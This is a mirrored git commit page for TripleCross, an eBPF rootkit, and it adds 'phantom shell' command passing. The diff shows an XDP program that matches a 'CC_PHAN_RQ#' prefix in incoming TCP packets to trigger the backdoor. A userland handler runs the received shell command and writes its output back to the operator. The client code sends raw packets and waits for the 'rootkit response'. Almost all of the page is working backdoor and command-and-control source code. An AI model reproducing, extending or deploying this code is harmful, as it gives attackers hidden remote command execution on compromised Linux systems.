mirror of
https://github.com/h3xduck/TripleCross.git
synced 2026-01-03 06:53:07 +08:00
Completed command passing for phantom shell
This commit is contained in:
Binary file not shown.
File diff suppressed because it is too large
Load Diff
BIN
src/bin/kit
BIN
src/bin/kit
Binary file not shown.
@@ -111,7 +111,7 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
|||||||
}
|
}
|
||||||
|
|
||||||
char* request = calloc(4096, sizeof(char));
|
char* request = calloc(4096, sizeof(char));
|
||||||
strcpy(request, CC_PROT_BASH_COMMAND_REQUEST);
|
strcpy(request, CC_PROT_PHANTOM_COMMAND_REQUEST);
|
||||||
strcat(request, buf);
|
strcat(request, buf);
|
||||||
packet_t packet;
|
packet_t packet;
|
||||||
pid_t pid = fork();
|
pid_t pid = fork();
|
||||||
@@ -120,7 +120,6 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
if(pid==0){
|
if(pid==0){
|
||||||
sleep(5);
|
|
||||||
packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
packet = build_standard_packet(8000, 9000, local_ip, dest, 4096, request);
|
||||||
//printf("Sending %s\n", msg);
|
//printf("Sending %s\n", msg);
|
||||||
if(rawsocket_send(packet)<0){
|
if(rawsocket_send(packet)<0){
|
||||||
@@ -129,11 +128,12 @@ int phantom_shell_mode(char* buf, char* local_ip, char* dest){
|
|||||||
}
|
}
|
||||||
exit(0);
|
exit(0);
|
||||||
}
|
}
|
||||||
|
sleep(5);
|
||||||
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
printf("["KBLU"INFO"RESET"]""Waiting for rootkit response...\n");
|
||||||
packet = rawsocket_sniff_pattern(CC_PROT_BASELINE);
|
packet = rawsocket_sniff_pattern(CC_PROT_BASELINE);
|
||||||
char* res = packet.payload;
|
char* res = packet.payload;
|
||||||
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
|
//TODO make the shell to fork and wait for response, but accept new requests meanwhile
|
||||||
if(strncmp(res, CC_PROT_BASH_COMMAND_RESPONSE, strlen(CC_PROT_BASH_COMMAND_RESPONSE))==0){
|
if(strncmp(res, CC_PROT_PHANTOM_COMMAND_RESPONSE, strlen(CC_PROT_PHANTOM_COMMAND_RESPONSE))==0){
|
||||||
//Received a response
|
//Received a response
|
||||||
char *p;
|
char *p;
|
||||||
p = strtok(buf, "#");
|
p = strtok(buf, "#");
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -29,7 +29,11 @@
|
|||||||
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
||||||
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
|
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
|
||||||
|
|
||||||
|
//Phantom shell
|
||||||
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
|
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
|
||||||
|
#define CC_PROT_PHANTOM_COMMAND_REQUEST "CC_PHAN_RQ#"
|
||||||
|
#define CC_PROT_PHANTOM_COMMAND_RESPONSE "CC_PHAN_RS#"
|
||||||
|
#define CC_PROT_PHANTOM_COMMAND_MAX_LEN 8
|
||||||
|
|
||||||
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
||||||
struct trigger_32_t {
|
struct trigger_32_t {
|
||||||
|
|||||||
@@ -10,7 +10,7 @@
|
|||||||
#include "../../../common/c&c.h"
|
#include "../../../common/c&c.h"
|
||||||
#include "../bpf/defs.h"
|
#include "../bpf/defs.h"
|
||||||
|
|
||||||
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port){
|
static __always_inline int execute_key_command(int command_received, __u32 ip, __u16 port, char* optional_payload, int optional_payload_size){
|
||||||
int pid = -1; //Received by network stack, just ignore
|
int pid = -1; //Received by network stack, just ignore
|
||||||
switch(command_received){
|
switch(command_received){
|
||||||
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
|
case CC_PROT_COMMAND_ENCRYPTED_SHELL:
|
||||||
@@ -36,8 +36,14 @@ static __always_inline int execute_key_command(int command_received, __u32 ip, _
|
|||||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||||
ps_new_data.active = 1;
|
ps_new_data.active = 1;
|
||||||
ps_new_data.d_ip = ip;
|
ps_new_data.d_ip = ip;
|
||||||
ps_new_data.d_port = port;
|
ps_new_data.d_port = port;
|
||||||
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
|
if(optional_payload_size == 0){
|
||||||
|
//First phantom init msg
|
||||||
|
__builtin_memcpy(ps_new_data.payload, CC_PROT_PHANTOM_SHELL_INIT, 16);
|
||||||
|
}else{
|
||||||
|
__builtin_memcpy(ps_new_data.payload, optional_payload, optional_payload_size);
|
||||||
|
}
|
||||||
|
|
||||||
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
|
ring_buffer_send_request_update_phantom_shell(&rb_comm, pid, command_received, ps_new_data);
|
||||||
break;
|
break;
|
||||||
|
|
||||||
@@ -169,7 +175,7 @@ backdoor_finish:
|
|||||||
__u32 ip = s_ip;
|
__u32 ip = s_ip;
|
||||||
__u16 port = s_port;
|
__u16 port = s_port;
|
||||||
|
|
||||||
execute_key_command(command_received, ip, port);
|
execute_key_command(command_received, ip, port, NULL, 0);
|
||||||
|
|
||||||
//return XDP_PASS;
|
//return XDP_PASS;
|
||||||
return XDP_DROP;
|
return XDP_DROP;
|
||||||
@@ -296,7 +302,7 @@ backdoor_finish_v3_32:
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
|
bpf_printk("Completed backdoor trigger v3 (32bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||||
execute_key_command(command_received, 0, 0);
|
execute_key_command(command_received, 0, 0, NULL, 0);
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
@@ -441,7 +447,7 @@ backdoor_finish_v3_16:
|
|||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
|
bpf_printk("Completed backdoor trigger v3 (16bit), b_data position: %i\n", b_data.last_packet_modified);
|
||||||
execute_key_command(command_received, 0, 0);
|
execute_key_command(command_received, 0, 0, NULL, 0);
|
||||||
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -50,6 +50,42 @@ struct eth_hdr {
|
|||||||
unsigned short h_proto;
|
unsigned short h_proto;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @brief Checks for the packet to be a phantom request
|
||||||
|
* Returns 1 if it wants to stop the XDP pipeline.
|
||||||
|
*
|
||||||
|
* @param payload
|
||||||
|
* @param payload_size
|
||||||
|
* @param data_end
|
||||||
|
* @param ip
|
||||||
|
* @param tcp
|
||||||
|
* @return __always_inline
|
||||||
|
*/
|
||||||
|
static __always_inline int check_phantom_payload(char* payload, int payload_size, void* data_end, struct iphdr* ip, struct tcphdr* tcp){
|
||||||
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||||
|
bpf_printk("G");
|
||||||
|
return XDP_PASS;
|
||||||
|
}
|
||||||
|
bpf_printk("Detected possible phantom shell command\n");
|
||||||
|
//Check if phantom shell command
|
||||||
|
char phantom_request[] = CC_PROT_PHANTOM_COMMAND_REQUEST;
|
||||||
|
int is_phantom_request = 1;
|
||||||
|
for(int ii=0; ii<sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)-1; ii++){
|
||||||
|
if(phantom_request[ii] != payload[ii]){
|
||||||
|
is_phantom_request = 0;
|
||||||
|
//bpf_printk("Not phantom: %s\n", payload);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(is_phantom_request == 1){
|
||||||
|
execute_key_command(CC_PROT_COMMAND_PHANTOM_SHELL, ip->saddr, tcp->source, payload, payload_size);
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
bpf_printk("Not phantom shell\n");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
SEC("xdp_prog")
|
SEC("xdp_prog")
|
||||||
int xdp_receive(struct xdp_md *ctx){
|
int xdp_receive(struct xdp_md *ctx){
|
||||||
@@ -98,6 +134,34 @@ int xdp_receive(struct xdp_md *ctx){
|
|||||||
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
payload_size = bpf_ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||||
payload = (void *)tcp + tcp->doff*4;
|
payload = (void *)tcp + tcp->doff*4;
|
||||||
|
|
||||||
|
int ret_value = -1;
|
||||||
|
//Yes, the verifier gets a bit angry when trying working with intervals in the payload
|
||||||
|
//A chained if is also not good. A macro could be added for this kind of cases.
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+1){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+2){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+3){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+4){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+5){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(payload_size == sizeof(CC_PROT_PHANTOM_COMMAND_REQUEST)+6){
|
||||||
|
ret_value = check_phantom_payload(payload, payload_size, data_end, ip, tcp);
|
||||||
|
}
|
||||||
|
if(ret_value == 1){
|
||||||
|
return XDP_PASS;
|
||||||
|
}
|
||||||
|
|
||||||
//Check for the rootkit backdoor trigger V1
|
//Check for the rootkit backdoor trigger V1
|
||||||
if(payload_size == CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE){
|
if(payload_size == CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE){
|
||||||
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
if (tcp_payload_bound_check(payload, payload_size, data_end)){
|
||||||
|
|||||||
@@ -144,10 +144,42 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
|
|||||||
printf("Failed to read the shared map\n");
|
printf("Failed to read the shared map\n");
|
||||||
return -1;
|
return -1;
|
||||||
}
|
}
|
||||||
printf("Pre value: %i, %i, %i\n", data.active, data.d_ip, data.d_port);
|
printf("Pre value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||||
data.active = e->bps_data.active;
|
data.active = e->bps_data.active;
|
||||||
data.d_ip = e->bps_data.d_ip;
|
data.d_ip = e->bps_data.d_ip;
|
||||||
data.d_port = e->bps_data.d_port;
|
data.d_port = e->bps_data.d_port;
|
||||||
|
if(strncmp(e->bps_data.payload, CC_PROT_PHANTOM_SHELL_INIT, strlen(CC_PROT_PHANTOM_SHELL_INIT))!=0){
|
||||||
|
//Means that we invoked the command with another payload, thus this is not the first call
|
||||||
|
//We are tasked with first trying to execute the command
|
||||||
|
printf("Executing requested command: \n%s\n", e->bps_data.payload);
|
||||||
|
char *p;
|
||||||
|
char* buf = calloc(4096, sizeof(char));
|
||||||
|
strcpy(buf, e->bps_data.payload);
|
||||||
|
p = strtok((char*)buf, "#");
|
||||||
|
p = strtok(NULL, "#");
|
||||||
|
if (p) {
|
||||||
|
//printf("Executing command: %s\n", p);
|
||||||
|
char *res = execute_command((char*)p);
|
||||||
|
char *response = calloc(4096, sizeof(char));
|
||||||
|
if(res==NULL){
|
||||||
|
strcpy(response, CC_PROT_ERR);
|
||||||
|
}else{
|
||||||
|
strcpy(response, CC_PROT_PHANTOM_COMMAND_RESPONSE);
|
||||||
|
strcat(response, res);
|
||||||
|
}
|
||||||
|
//printf("Answering to phantom shell: \n%s\n", response);
|
||||||
|
memcpy(data.payload, response, 64);
|
||||||
|
free(response);
|
||||||
|
free(buf);
|
||||||
|
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||||
|
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||||
|
|
||||||
|
}else{
|
||||||
|
printf("Failed to parse command\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
//Init connection with phantom shell
|
||||||
memcpy(data.payload, e->bps_data.payload, 64);
|
memcpy(data.payload, e->bps_data.payload, 64);
|
||||||
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
|
||||||
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
|
||||||
|
|||||||
Reference in New Issue
Block a user